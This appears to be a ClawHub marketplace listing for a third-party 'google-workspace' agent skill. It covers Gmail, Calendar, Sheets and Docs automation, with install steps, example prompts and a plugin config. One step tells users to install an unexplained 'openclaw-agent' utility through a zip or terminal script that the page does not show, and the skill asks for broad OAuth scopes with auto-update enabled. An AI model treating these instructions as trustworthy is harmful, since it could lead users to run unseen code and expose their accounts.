google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
Why use this skill?
Master your workflow with the OpenClaw Google Workspace skill. Seamlessly automate Gmail, Calendar, Sheets, and Docs from your terminal with this comprehensive AI integration guide.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/google-workspace-m2hcxWhat This Skill Does
The google-workspace skill acts as a comprehensive bridge between the OpenClaw AI agent and your Google ecosystem. By integrating Gmail, Calendar, Contacts, Sheets, and Docs, this skill allows users to automate complex administrative workflows directly from their terminal or AI interface. It leverages the official Google APIs to perform granular tasks such as reading emails, managing calendar event scheduling, updating shared spreadsheets, and generating document drafts. This skill essentially turns your workspace into an actionable interface, reducing manual overhead for daily tasks.
Installation
- Ensure you have the
openclaw-agentutility installed for your OS (Windows users require the provided zip; macOS users should follow the terminal script provided in the documentation). - Run the installation command:
clawhub install openclaw/skills/skills/hightower6eu/google-workspace-m2hcx. - Install Python dependencies:
pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib. - Create your Google Cloud project via the Google Cloud Console, enable the required APIs (Gmail, Calendar, Sheets, Docs, People), and generate your OAuth 2.0 credentials JSON file.
- Initialize the
google_auth.pyhelper provided in the official documentation to handle the OAuth handshake and token management.
Use Cases
- Automated Communication: Automatically summarize incoming support emails from Gmail and draft responses.
- Meeting Coordination: Sync daily task lists from Sheets to Calendar as event blocks.
- Data Processing: Extract project status updates from emails and update a master tracker spreadsheet automatically.
- Content Generation: Use AI prompts to create structured Google Docs documents based on research data found in your drive.
Example Prompts
- "Check my Gmail for any unread emails from 'Finance' and summarize the key action items for me."
- "Look at my Google Calendar for today and shift all my 10 AM meetings to 2 PM, then email the attendees notifying them of the change."
- "Take the row contents from my 'Q3 Sales' spreadsheet and format them into a professional Google Doc summary."
Tips & Limitations
- Token Security: Always protect your
token.pickleandcredentials.jsonfiles as they grant broad access to your personal data. - Google Limits: Be mindful of Google's API quota limits (Request Per Day), especially when performing bulk read/write operations.
- Permissions: This skill requires high-level OAuth scopes. Only grant these permissions to trusted environments where you control the code execution.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-google-workspace-m2hcx": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-read, external-api
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.